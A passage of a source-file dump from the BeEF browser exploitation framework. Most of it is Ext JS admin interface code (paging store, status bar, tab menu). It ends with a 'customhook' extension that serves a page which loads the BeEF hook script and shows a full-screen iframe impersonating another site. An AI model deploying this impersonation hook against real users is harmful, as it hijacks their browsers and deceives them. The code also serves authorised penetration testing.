sorters[i].direction));\n        }\n        if (!sortFns.length) {\n            return;\n        }\n        var directionModifier = direction.toUpperCase() == \"DESC\" ? -1 : 1;\n        var fn = function (r1, r2) {\n            var result = sortFns[0].call(this, r1, r2);\n            if (sortFns.length > 1) {\n                for (var i = 1, j = sortFns.length; i < j; i++) {\n                    result = result || sortFns[i].call(this, r1, r2);\n                }\n            }\n            return directionModifier * result;\n        };\n        // *** add ***\n        if (this.allData) {\n            this.data = this.allData;\n            delete this.allData;\n        }\n        // *** end ***\n        this.data.sort(direction, fn);\n        if (this.snapshot && this.snapshot != this.data) {\n            this.snapshot.sort(direction, fn);\n        }\n        // *** add ***\n        this.applyPaging();\n        // *** end ***\n    },\n    filterBy: function (fn, scope) {\n        // *** add ***\n        this.snapshot = this.snapshot || this.allData || this.data;\n        // *** end ***\n        // this.snapshot = this.snapshot || this.data;\n        this.data = this.queryBy(fn, scope || this);\n        // *** add ***\n        this.applyPaging();\n        // *** end ***\n        this.fireEvent('datachanged', this);\n    },\n    clearFilter: function (suppressEvent) {\n        if (this.isFiltered()) {\n            this.data = this.snapshot;\n            delete this.snapshot;\n            // *** add ***\n            delete this.allData;\n            this.applyPaging();\n            // *** end ***\n            if (suppressEvent !== true) {\n                this.fireEvent('datachanged', this);\n            }\n        }\n    },\n    isFiltered: function () {\n        // *** add ***\n        return !!this.snapshot && this.snapshot != (this.allData || this.data);\n        // *** end ***\n        // return !!this.snapshot && this.snapshot != this.data;\n    },\n    queryBy: function (fn, scope) {\n        // *** add ***\n        var data = this.snapshot || this.allData || this.data;\n        // *** end ***\n        // var data = this.snapshot || this.data;\n        return data.filterBy(fn, scope || this);\n    },\n    collect: function (dataIndex, allowNull, bypassFilter) {\n        // *** add ***\n        var d = (bypassFilter === true ? this.snapshot || this.allData || this.data : this.data).items;\n        // *** end ***\n        // var d = (bypassFilter === true && this.snapshot) ? this.snapshot.items : this.data.items;\n        var v, sv, r = [],\n            l = {};\n        for (var i = 0, len = d.length; i < len; i++) {\n            v = d[i].data[dataIndex];\n            sv = String(v);\n            if ((allowNull || !Ext.isEmpty(v)) && !l[sv]) {\n                l[sv] = true;\n                r[r.length] = v;\n            }\n        }\n        return r;\n    },\n    findInsertIndex : function(record){\n        this.suspendEvents();\n        var data = this.data.clone();\n        this.data.add(record);\n        this.applySort();\n        var index = this.data.indexOf(record);\n        this.data = data;\n        // *** add ***\n        this.totalLength--;\n        // *** end ***\n        this.resumeEvents();\n        return index;\n    },\n    // *** add ***\n    isPaging: function (params) {\n        var pn = this.paramNames,\n            start = params[pn.start],\n            limit = params[pn.limit];\n        if ((typeof start != 'number') || (typeof limit != 'number')) {\n            delete this.start;\n            delete this.limit;\n            this.lastParams = params;\n            return false;\n        }\n        this.start = start;\n        this.limit = limit;\n        delete params[pn.start];\n        delete params[pn.limit];\n        var lastParams = this.lastParams;\n        this.lastParams = params;\n        if (!this.proxy) {\n            return true;\n        }\n        if (!lastParams) {\n            return false;\n        }\n        for (var param in params) {\n            if (params.hasOwnProperty(param) && (params[param] !== lastParams[param])) {\n                return false;\n            }\n        }\n        for (param in lastParams) {\n            if (lastParams.hasOwnProperty(param) && (params[param] !== lastParams[param])) {\n                return false;\n            }\n        }\n        return true;\n    },\n    applyPaging: function () {\n        var start = this.start,\n            limit = this.limit;\n        if ((typeof start == 'number') && (typeof limit == 'number')) {\n            var allData = this.data,\n                data = new Ext.util.MixedCollection(allData.allowFunctions, allData.getKey);\n            data.items = allData.items.slice(start, start + limit);\n            data.keys = allData.keys.slice(start, start + limit);\n            var len = data.length = data.items.length;\n            var map = {};\n            for (var i = 0; i < len; i++) {\n                var item = data.items[i];\n                map[data.getKey(item)] = item;\n            }\n            data.map = map;\n            this.allData = allData;\n            this.data = data;\n        }\n    }\n    // *** end ***\n});\n\nExt.ux.data.PagingDirectStore = Ext.extend(Ext.ux.data.PagingStore, {\n    constructor: Ext.data.DirectStore.prototype.constructor\n});\nExt.reg('pagingdirectstore', Ext.ux.data.PagingDirectStore);\n\nExt.ux.data.PagingJsonStore = Ext.extend(Ext.ux.data.PagingStore, {\n    constructor: Ext.data.JsonStore.prototype.constructor\n});\nExt.reg('pagingjsonstore', Ext.ux.data.PagingJsonStore);\n\nExt.ux.data.PagingXmlStore = Ext.extend(Ext.ux.data.PagingStore, {\n    constructor: Ext.data.XmlStore.prototype.constructor\n});\nExt.reg('pagingxmlstore', Ext.ux.data.PagingXmlStore);\n\nExt.ux.data.PagingArrayStore = Ext.extend(Ext.ux.data.PagingStore, {\n    constructor: Ext.data.ArrayStore.prototype.constructor,\n    loadData: function (data, append) {\n        if (this.expandData === true) {\n            var r = [];\n            for (var i = 0, len = data.length; i < len; i++) {\n                r[r.length] = [data[i]];\n            }\n            data = r;\n        }\n        Ext.ux.data.PagingArrayStore.superclass.loadData.call(this, data, append);\n    }\n});\nExt.reg('pagingarraystore', Ext.ux.data.PagingArrayStore);\n\nExt.ux.data.PagingSimpleStore = Ext.ux.data.PagingArrayStore;\nExt.reg('pagingsimplestore', Ext.ux.data.PagingSimpleStore);\n\nExt.ux.data.PagingGroupingStore = Ext.extend(Ext.ux.data.PagingStore, Ext.copyTo({}, Ext.data.GroupingStore.prototype, [\n    'constructor',\n    'remoteGroup',\n    'groupOnSort',\n    'groupDir',\n    'clearGrouping',\n    'groupBy',\n    'sort',\n    'applyGroupField',\n    'applyGrouping',\n    'getGroupState'\n]));\nExt.reg('paginggroupingstore', Ext.ux.data.PagingGroupingStore);\n\nExt.ux.PagingToolbar = Ext.extend(Ext.PagingToolbar, {\n    onLoad: function (store, r, o) {\n        if (!this.rendered) {\n            this.dsLoaded = [store, r, o];\n            return;\n        }\n        var p = this.getParams();\n        this.cursor = (o.params && o.params[p.start]) ? o.params[p.start] : 0;\n        this.onChange();\n        // *** end ***\n        // var d = this.getPageData(),\n        //     ap = d.activePage,\n        //     ps = d.pages;\n        // this.afterTextItem.setText(String.format(this.afterPageText, d.pages));\n        // this.inputItem.setValue(ap);\n        // this.first.setDisabled(ap == 1);\n        // this.prev.setDisabled(ap == 1);\n        // this.next.setDisabled(ap == ps);\n        // this.last.setDisabled(ap == ps);\n        // this.refresh.enable();\n        // this.updateInfo();\n        // this.fireEvent('change', this, d);\n    },\n    onChange: function () {\n        // *** add ***\n        var t = this.store.getTotalCount(),\n            s = this.pageSize;\n        if (this.cursor >= t) {\n            this.cursor = Math.ceil((t + 1) / s) * s;\n        }\n        // *** end ***\n        var d = this.getPageData(),\n            ap = d.activePage,\n            ps = d.pages;\n        this.afterTextItem.setText(String.format(this.afterPageText, d.pages));\n        this.inputItem.setValue(ap);\n        this.first.setDisabled(ap == 1);\n        this.prev.setDisabled(ap == 1);\n        this.next.setDisabled(ap == ps);\n        this.last.setDisabled(ap == ps);\n        this.refresh.enable();\n        this.updateInfo();\n        this.fireEvent('change', this, d);\n    },\n    onClear: function () {\n        this.cursor = 0;\n        this.onChange();\n    },\n    doRefresh: function () {\n        // *** add ***\n        delete this.store.lastParams;\n        // *** end ***\n        this.doLoad(this.cursor);\n    },\n    bindStore: function (store, initial) {\n        var doLoad;\n        if (!initial && this.store) {\n            if (store !== this.store && this.store.autoDestroy) {\n                this.store.destroy();\n            } else {\n                this.store.un('beforeload', this.beforeLoad, this);\n                this.store.un('load', this.onLoad, this);\n                this.store.un('exception', this.onLoadError, this);\n                // *** add ***\n                this.store.un('datachanged', this.onChange, this);\n                this.store.un('add', this.onChange, this);\n                this.store.un('remove', this.onChange, this);\n                this.store.un('clear', this.onClear, this);\n                // *** end ***\n            }\n            if (!store) {\n                this.store = null;\n            }\n        }\n        if (store) {\n            store = Ext.StoreMgr.lookup(store);\n            store.on({\n                scope: this,\n                beforeload: this.beforeLoad,\n                load: this.onLoad,\n                exception: this.onLoadError,\n                // *** add ***\n                datachanged: this.onChange,\n                add: this.onChange,\n                remove: this.onChange,\n                clear: this.onClear\n                // *** end ***\n            });\n            doLoad = true;\n        }\n        this.store = store;\n        if (doLoad) {\n            this.onLoad(store, null, {});\n        }\n    }\n});\nExt.reg('ux.paging', Ext.ux.PagingToolbar);\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ux/StatusBar.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*!\n * Ext JS Library 3.1.1\n * Copyright(c) 2006-2010 Ext JS, LLC\n * licensing@extjs.com\n * http://www.extjs.com/license\n */\n/**\n * @class Ext.ux.StatusBar\n * <p>Basic status bar component that can be used as the bottom toolbar of any {@link Ext.Panel}.  In addition to\n * supporting the standard {@link Ext.Toolbar} interface for adding buttons, menus and other items, the StatusBar\n * provides a greedy status element that can be aligned to either side and has convenient methods for setting the\n * status text and icon.  You can also indicate that something is processing using the {@link #showBusy} method.</p>\n * <pre><code>\nnew Ext.Panel({\n    title: 'StatusBar',\n    // etc.\n    bbar: new Ext.ux.StatusBar({\n        id: 'my-status',\n\n        // defaults to use when the status is cleared:\n        defaultText: 'Default status text',\n        defaultIconCls: 'default-icon',\n\n        // values to set initially:\n        text: 'Ready',\n        iconCls: 'ready-icon',\n\n        // any standard Toolbar items:\n        items: [{\n            text: 'A Button'\n        }, '-', 'Plain Text']\n    })\n});\n\n// Update the status bar later in code:\nvar sb = Ext.getCmp('my-status');\nsb.setStatus({\n    text: 'OK',\n    iconCls: 'ok-icon',\n    clear: true // auto-clear after a set interval\n});\n\n// Set the status bar to show that something is processing:\nsb.showBusy();\n\n// processing....\n\nsb.clearStatus(); // once completeed\n</code></pre>\n * @extends Ext.Toolbar\n * @constructor\n * Creates a new StatusBar\n * @param {Object/Array} config A config object\n */\nExt.ux.StatusBar = Ext.extend(Ext.Toolbar, {\n    /**\n     * @cfg {String} statusAlign\n     * The alignment of the status element within the overall StatusBar layout.  When the StatusBar is rendered,\n     * it creates an internal div containing the status text and icon.  Any additional Toolbar items added in the\n     * StatusBar's {@link #items} config, or added via {@link #add} or any of the supported add* methods, will be\n     * rendered, in added order, to the opposite side.  The status element is greedy, so it will automatically\n     * expand to take up all sapce left over by any other items.  Example usage:\n     * <pre><code>\n// Create a left-aligned status bar containing a button,\n// separator and text item that will be right-aligned (default):\nnew Ext.Panel({\n    title: 'StatusBar',\n    // etc.\n    bbar: new Ext.ux.StatusBar({\n        defaultText: 'Default status text',\n        id: 'status-id',\n        items: [{\n            text: 'A Button'\n        }, '-', 'Plain Text']\n    })\n});\n\n// By adding the statusAlign config, this will create the\n// exact same toolbar, except the status and toolbar item\n// layout will be reversed from the previous example:\nnew Ext.Panel({\n    title: 'StatusBar',\n    // etc.\n    bbar: new Ext.ux.StatusBar({\n        defaultText: 'Default status text',\n        id: 'status-id',\n        statusAlign: 'right',\n        items: [{\n            text: 'A Button'\n        }, '-', 'Plain Text']\n    })\n});\n</code></pre>\n     */\n    /**\n     * @cfg {String} defaultText\n     * The default {@link #text} value.  This will be used anytime the status bar is cleared with the\n     * <tt>useDefaults:true</tt> option (defaults to '').\n     */\n    /**\n     * @cfg {String} defaultIconCls\n     * The default {@link #iconCls} value (see the iconCls docs for additional details about customizing the icon).\n     * This will be used anytime the status bar is cleared with the <tt>useDefaults:true</tt> option (defaults to '').\n     */\n    /**\n     * @cfg {String} text\n     * A string that will be <b>initially</b> set as the status message.  This string\n     * will be set as innerHTML (html tags are accepted) for the toolbar item.\n     * If not specified, the value set for <code>{@link #defaultText}</code>\n     * will be used.\n     */\n    /**\n     * @cfg {String} iconCls\n     * A CSS class that will be <b>initially</b> set as the status bar icon and is\n     * expected to provide a background image (defaults to '').\n     * Example usage:<pre><code>\n// Example CSS rule:\n.x-statusbar .x-status-custom {\n    padding-left: 25px;\n    background: transparent url(images/custom-icon.gif) no-repeat 3px 2px;\n}\n\n// Setting a default icon:\nvar sb = new Ext.ux.StatusBar({\n    defaultIconCls: 'x-status-custom'\n});\n\n// Changing the icon:\nsb.setStatus({\n    text: 'New status',\n    iconCls: 'x-status-custom'\n});\n</code></pre>\n     */\n\n    /**\n     * @cfg {String} cls\n     * The base class applied to the containing element for this component on render (defaults to 'x-statusbar')\n     */\n    cls : 'x-statusbar',\n    /**\n     * @cfg {String} busyIconCls\n     * The default <code>{@link #iconCls}</code> applied when calling\n     * <code>{@link #showBusy}</code> (defaults to <tt>'x-status-busy'</tt>).\n     * It can be overridden at any time by passing the <code>iconCls</code>\n     * argument into <code>{@link #showBusy}</code>.\n     */\n    busyIconCls : 'x-status-busy',\n\t\n\t//BEEF ADDED\n\terrorIconCls : 'x-status-error',\n\tvalidIconCls : 'x-status-valid',\n\n    /**\n     * @cfg {String} busyText\n     * The default <code>{@link #text}</code> applied when calling\n     * <code>{@link #showBusy}</code> (defaults to <tt>'Loading...'</tt>).\n     * It can be overridden at any time by passing the <code>text</code>\n     * argument into <code>{@link #showBusy}</code>.\n     */\n    busyText : 'Loading...',\n    /**\n     * @cfg {Number} autoClear\n     * The number of milliseconds to wait after setting the status via\n     * <code>{@link #setStatus}</code> before automatically clearing the status\n     * text and icon (defaults to <tt>5000</tt>).  Note that this only applies\n     * when passing the <tt>clear</tt> argument to <code>{@link #setStatus}</code>\n     * since that is the only way to defer clearing the status.  This can\n     * be overridden by specifying a different <tt>wait</tt> value in\n     * <code>{@link #setStatus}</code>. Calls to <code>{@link #clearStatus}</code>\n     * always clear the status bar immediately and ignore this value.\n     */\n    autoClear : 5000,\n\n    /**\n     * @cfg {String} emptyText\n     * The text string to use if no text has been set.  Defaults to\n     * <tt>'&nbsp;'</tt>).  If there are no other items in the toolbar using\n     * an empty string (<tt>''</tt>) for this value would end up in the toolbar\n     * height collapsing since the empty string will not maintain the toolbar\n     * height.  Use <tt>''</tt> if the toolbar should collapse in height\n     * vertically when no text is specified and there are no other items in\n     * the toolbar.\n     */\n    emptyText : '&nbsp;',\n\n    // private\n    activeThreadId : 0,\n\n    // private\n    initComponent : function(){\n        if(this.statusAlign=='right'){\n            this.cls += ' x-status-right';\n        }\n        Ext.ux.StatusBar.superclass.initComponent.call(this);\n    },\n\n    // private\n    afterRender : function(){\n        Ext.ux.StatusBar.superclass.afterRender.call(this);\n\n        var right = this.statusAlign == 'right';\n        this.currIconCls = this.iconCls || this.defaultIconCls;\n        this.statusEl = new Ext.Toolbar.TextItem({\n            cls: 'x-status-text ' + (this.currIconCls || ''),\n            text: this.text || this.defaultText || ''\n        });\n\n        if(right){\n            this.add('->');\n            this.add(this.statusEl);\n        }else{\n            this.insert(0, this.statusEl);\n            this.insert(1, '->');\n        }\n        this.doLayout();\n    },\n\n    /**\n     * Sets the status {@link #text} and/or {@link #iconCls}. Also supports automatically clearing the\n     * status that was set after a specified interval.\n     * @param {Object/String} config A config object specifying what status to set, or a string assumed\n     * to be the status text (and all other options are defaulted as explained below). A config\n     * object containing any or all of the following properties can be passed:<ul>\n     * <li><tt>text</tt> {String} : (optional) The status text to display.  If not specified, any current\n     * status text will remain unchanged.</li>\n     * <li><tt>iconCls</tt> {String} : (optional) The CSS class used to customize the status icon (see\n     * {@link #iconCls} for details). If not specified, any current iconCls will remain unchanged.</li>\n     * <li><tt>clear</tt> {Boolean/Number/Object} : (optional) Allows you to set an internal callback that will\n     * automatically clear the status text and iconCls after a specified amount of time has passed. If clear is not\n     * specified, the new status will not be auto-cleared and will stay until updated again or cleared using\n     * {@link #clearStatus}. If <tt>true</tt> is passed, the status will be cleared using {@link #autoClear},\n     * {@link #defaultText} and {@link #defaultIconCls} via a fade out animation. If a numeric value is passed,\n     * it will be used as the callback interval (in milliseconds), overriding the {@link #autoClear} value.\n     * All other options will be defaulted as with the boolean option.  To customize any other options,\n     * you can pass an object in the format:<ul>\n     *    <li><tt>wait</tt> {Number} : (optional) The number of milliseconds to wait before clearing\n     *    (defaults to {@link #autoClear}).</li>\n     *    <li><tt>anim</tt> {Number} : (optional) False to clear the status immediately once the callback\n     *    executes (defaults to true which fades the status out).</li>\n     *    <li><tt>useDefaults</tt> {Number} : (optional) False to completely clear the status text and iconCls\n     *    (defaults to true which uses {@link #defaultText} and {@link #defaultIconCls}).</li>\n     * </ul></li></ul>\n     * Example usage:<pre><code>\n// Simple call to update the text\nstatusBar.setStatus('New status');\n\n// Set the status and icon, auto-clearing with default options:\nstatusBar.setStatus({\n    text: 'New status',\n    iconCls: 'x-status-custom',\n    clear: true\n});\n\n// Auto-clear with custom options:\nstatusBar.setStatus({\n    text: 'New status',\n    iconCls: 'x-status-custom',\n    clear: {\n        wait: 8000,\n        anim: false,\n        useDefaults: false\n    }\n});\n</code></pre>\n     * @return {Ext.ux.StatusBar} this\n     */\n    setStatus : function(o){\n        o = o || {};\n\n        if(typeof o == 'string'){\n            o = {text:o};\n        }\n        if(o.text !== undefined){\n            this.setText(o.text);\n        }\n        if(o.iconCls !== undefined){\n            this.setIcon(o.iconCls);\n        }\n\n        if(o.clear){\n            var c = o.clear,\n                wait = this.autoClear,\n                defaults = {useDefaults: true, anim: true};\n\n            if(typeof c == 'object'){\n                c = Ext.applyIf(c, defaults);\n                if(c.wait){\n                    wait = c.wait;\n                }\n            }else if(typeof c == 'number'){\n                wait = c;\n                c = defaults;\n            }else if(typeof c == 'boolean'){\n                c = defaults;\n            }\n\n            c.threadId = this.activeThreadId;\n            this.clearStatus.defer(wait, this, [c]);\n        }\n        return this;\n    },\n\n    /**\n     * Clears the status {@link #text} and {@link #iconCls}. Also supports clearing via an optional fade out animation.\n     * @param {Object} config (optional) A config object containing any or all of the following properties.  If this\n     * object is not specified the status will be cleared using the defaults below:<ul>\n     * <li><tt>anim</tt> {Boolean} : (optional) True to clear the status by fading out the status element (defaults\n     * to false which clears immediately).</li>\n     * <li><tt>useDefaults</tt> {Boolean} : (optional) True to reset the text and icon using {@link #defaultText} and\n     * {@link #defaultIconCls} (defaults to false which sets the text to '' and removes any existing icon class).</li>\n     * </ul>\n     * @return {Ext.ux.StatusBar} this\n     */\n    clearStatus : function(o){\n        o = o || {};\n\n        if(o.threadId && o.threadId !== this.activeThreadId){\n            // this means the current call was made internally, but a newer\n            // thread has set a message since this call was deferred.  Since\n            // we don't want to overwrite a newer message just ignore.\n            return this;\n        }\n\n        var text = o.useDefaults ? this.defaultText : this.emptyText,\n            iconCls = o.useDefaults ? (this.defaultIconCls ? this.defaultIconCls : '') : '';\n\n        if(o.anim){\n            // animate the statusEl Ext.Element\n            this.statusEl.el.fadeOut({\n                remove: false,\n                useDisplay: true,\n                scope: this,\n                callback: function(){\n                    this.setStatus({\n\t                    text: text,\n\t                    iconCls: iconCls\n\t                });\n\n                    this.statusEl.el.show();\n                }\n            });\n        }else{\n            // hide/show the el to avoid jumpy text or icon\n            this.statusEl.hide();\n\t        this.setStatus({\n\t            text: text,\n\t            iconCls: iconCls\n\t        });\n            this.statusEl.show();\n        }\n        return this;\n    },\n\n    /**\n     * Convenience method for setting the status text directly.  For more flexible options see {@link #setStatus}.\n     * @param {String} text (optional) The text to set (defaults to '')\n     * @return {Ext.ux.StatusBar} this\n     */\n    setText : function(text){\n        this.activeThreadId++;\n        this.text = text || '';\n        if(this.rendered){\n            this.statusEl.setText(this.text);\n        }\n        return this;\n    },\n\n    /**\n     * Returns the current status text.\n     * @return {String} The status text\n     */\n    getText : function(){\n        return this.text;\n    },\n\n    /**\n     * Convenience method for setting the status icon directly.  For more flexible options see {@link #setStatus}.\n     * See {@link #iconCls} for complete details about customizing the icon.\n     * @param {String} iconCls (optional) The icon class to set (defaults to '', and any current icon class is removed)\n     * @return {Ext.ux.StatusBar} this\n     */\n    setIcon : function(cls){\n        this.activeThreadId++;\n        cls = cls || '';\n\n        if(this.rendered){\n\t        if(this.currIconCls){\n\t            this.statusEl.removeClass(this.currIconCls);\n\t            this.currIconCls = null;\n\t        }\n\t        if(cls.length > 0){\n\t            this.statusEl.addClass(cls);\n\t            this.currIconCls = cls;\n\t        }\n        }else{\n            this.currIconCls = cls;\n        }\n        return this;\n    },\n\n    /**\n     * Convenience method for setting the status text and icon to special values that are pre-configured to indicate\n     * a \"busy\" state, usually for loading or processing activities.\n     * @param {Object/String} config (optional) A config object in the same format supported by {@link #setStatus}, or a\n     * string to use as the status text (in which case all other options for setStatus will be defaulted).  Use the\n     * <tt>text</tt> and/or <tt>iconCls</tt> properties on the config to override the default {@link #busyText}\n     * and {@link #busyIconCls} settings. If the config argument is not specified, {@link #busyText} and\n     * {@link #busyIconCls} will be used in conjunction with all of the default options for {@link #setStatus}.\n     * @return {Ext.ux.StatusBar} this\n     */\n    showBusy : function(o){\n        if(typeof o == 'string'){\n            o = {text:o};\n        }\n        o = Ext.applyIf(o || {}, {\n            text: this.busyText,\n            iconCls: this.busyIconCls\n        });\n        return this.setStatus(o);\n    },\n\n\t//BEEF ADDED\n\tshowError : function(o){\n        if(typeof o == 'string'){\n            o = {text:o};\n        }\n        o = Ext.applyIf(o || {}, {\n            text: this.busyText,\n            iconCls: this.errorIconCls\n        });\n        return this.setStatus(o);\n    },\n\t\n\tshowValid : function(o){\n        if(typeof o == 'string'){\n            o = {text:o};\n        }\n        o = Ext.applyIf(o || {}, {\n            text: this.busyText,\n            iconCls: this.validIconCls\n        });\n        return this.setStatus(o);\n    }\n});\nExt.reg('statusbar', Ext.ux.StatusBar);"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ux/TabCloseMenu.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*!\n * Ext JS Library 3.1.1\n * Copyright(c) 2006-2010 Ext JS, LLC\n * licensing@extjs.com\n * http://www.extjs.com/license\n */\n/**\n * @class Ext.ux.TabCloseMenu\n * @extends Object \n * Plugin (ptype = 'tabclosemenu') for adding a close context menu to tabs.\n * \n * @ptype tabclosemenu\n */\nExt.ux.TabCloseMenu = function(){\n    var tabs, menu, ctxItem;\n    this.init = function(tp){\n        tabs = tp;\n        tabs.on('contextmenu', onContextMenu);\n    };\n\n    function onContextMenu(ts, item, e){\n        if(!menu){ // create context menu on first right click\n            menu = new Ext.menu.Menu({            \n            items: [{\n                id: tabs.id + '-close',\n                text: 'Close Tab',\n                handler : function(){\n                    tabs.remove(ctxItem);\n                }\n            },{\n                id: tabs.id + '-close-others',\n                text: 'Close Other Tabs',\n                handler : function(){\n                    tabs.items.each(function(item){\n                        if(item.closable && item != ctxItem){\n                            tabs.remove(item);\n                        }\n                    });\n                }\n            }]});\n        }\n        ctxItem = item;\n        var items = menu.items;\n        items.get(tabs.id + '-close').setDisabled(!item.closable);\n        var disableOthers = true;\n        tabs.items.each(function(){\n            if(this != item && this.closable){\n                disableOthers = false;\n                return false;\n            }\n        });\n        items.get(tabs.id + '-close-others').setDisabled(disableOthers);\n\te.stopEvent();\n        menu.showAt(e.getPoint());\n    }\n};\n\nExt.preg('tabclosemenu', Ext.ux.TabCloseMenu);\n"
  },
  {
    "path": "extensions/autoloader/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        autoloader:\n            enable: false\n            name: 'Autoloader'\n\n"
  },
  {
    "path": "extensions/autoloader/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Autoloader\n    end\n  end\nend\n\nrequire 'extensions/autoloader/model'\n"
  },
  {
    "path": "extensions/autoloader/model.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      class Autoloading < BeEF::Core::Model\n        belongs_to :command\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/customhook/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Customhook\n      module RegisterHttpHandlers\n        BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')\n        BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start')\n\n        def self.mount_handler(beef_server)\n          configuration = BeEF::Core::Configuration.instance\n          configuration.get('beef.extension.customhook.hooks').each do |h|\n            beef_server.mount(configuration.get(\"beef.extension.customhook.hooks.#{h.first}.path\"), BeEF::Extension::Customhook::Handler.new)\n          end\n        end\n\n        def self.pre_http_start(_beef_server)\n          configuration = BeEF::Core::Configuration.instance\n          configuration.get('beef.extension.customhook.hooks').each do |h|\n            print_success 'Successfully mounted a custom hook point'\n            print_more \"Mount Point: #{configuration.get(\"beef.extension.customhook.hooks.#{h.first}.path\")}\\nLoading iFrame: #{configuration.get(\"beef.extension.customhook.hooks.#{h.first}.target\")}\\n\"\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/customhook/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        customhook:\n            enable: false\n            name: 'Custom Hook Points with iFrame Impersonation'\n            hooks:\n                changeme:\n                    path: \"/changeme\"\n                    target: \"http://example.com\"\n                    title: \"Change Me!\"\n                beef:\n                    path: \"/beef\"\n                    target: \"http://beefproject.com\"\n                    title: \"BeEF - The Browser Exploitation Framework Project\"\n                yougotchipmunked:\n                    path: \"/yougotchipmunked\"\n                    target: \"http://www.chipmunks.com\"\n                    title: \"Alvin and the Chipmunks..\"\n"
  },
  {
    "path": "extensions/customhook/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Customhook\n      extend BeEF::API::Extension\n\n      @short_name = 'customhook'\n\n      @full_name = 'Custom Hook Point with iFrame Impersonation'\n\n      @description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks'\n    end\n  end\nend\n\nrequire 'extensions/customhook/api'\nrequire 'extensions/customhook/handler'\n"
  },
  {
    "path": "extensions/customhook/handler.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Customhook\n      class Handler\n        def call(env)\n          @body = ''\n          @request = Rack::Request.new(env)\n          @params = @request.query_string\n          @response = Rack::Response.new(body = [], 200, header = {})\n          config = BeEF::Core::Configuration.instance\n          eruby = Erubis::FastEruby.new(File.read(\"#{File.dirname(__FILE__)}/html/index.html\"))\n          config.get('beef.extension.customhook.hooks').each do |h|\n            path = config.get(\"beef.extension.customhook.hooks.#{h.first}.path\")\n            next unless path == (env['REQUEST_URI']).to_s\n\n            print_info \"[Custom Hook] Handling request for custom hook mounted at '#{path}'\"\n            @body << eruby.evaluate({\n                                      'customhook_target' => config.get(\"beef.extension.customhook.hooks.#{h.first}.target\"),\n                                      'customhook_title' => config.get(\"beef.extension.customhook.hooks.#{h.first}.title\")\n                                    })\n            break\n          end\n\n          @response = Rack::Response.new(\n            body = [@body],\n            status = 200,\n            header = {\n              'Pragma' => 'no-cache',\n              'Cache-Control' => 'no-cache',\n              'Expires' => '0',\n              'Content-Type' => 'text/html',\n              'Access-Control-Allow-Origin' => '*',\n              'Access-Control-Allow-Methods' => 'POST, GET'\n            }\n          )\n        end\n\n        # @note Object representing the HTTP request\n        @request\n\n        # @note Object representing the HTTP response\n        @response\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/customhook/html/index.html",
    "content": "<!--\n    Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n    Browser Exploitation Framework (BeEF) - https://beefproject.com\n    See the file 'doc/COPYING' for copying permission\n-->\n<%\n  @configuration = BeEF::Core::Configuration.instance\n  hook_file = @configuration.get(\"beef.http.hook_file\")\n%>\n<html>\n<head>\n\t<title><%= @customhook_title %></title>\n\t<script>\n\t\tvar commandModuleStr = '<script src=\"' + window.location.protocol + '//' + window.location.host + '<%= hook_file %>\" type=\"text/javascript\"><\\/script>';\n\t\tdocument.write(commandModuleStr);\n\t</script>\n</head>\n\n<body>\n\t<script>\n\t\tsetTimeout(\"beef.dom.createIframe('fullscreen', {'src':'<%= @customhook_target %>'},{},null)\",2000);\n\t\tdocument.body.scroll = \"no\";\n\t\tdocument.documentElement.style.overflow = 'hidden';\n\t\t//Porco dio - and away we go!\n\t</script>\n</body>\n</html>\n"
  },
  {
    "path": "extensions/demos/api.rb",
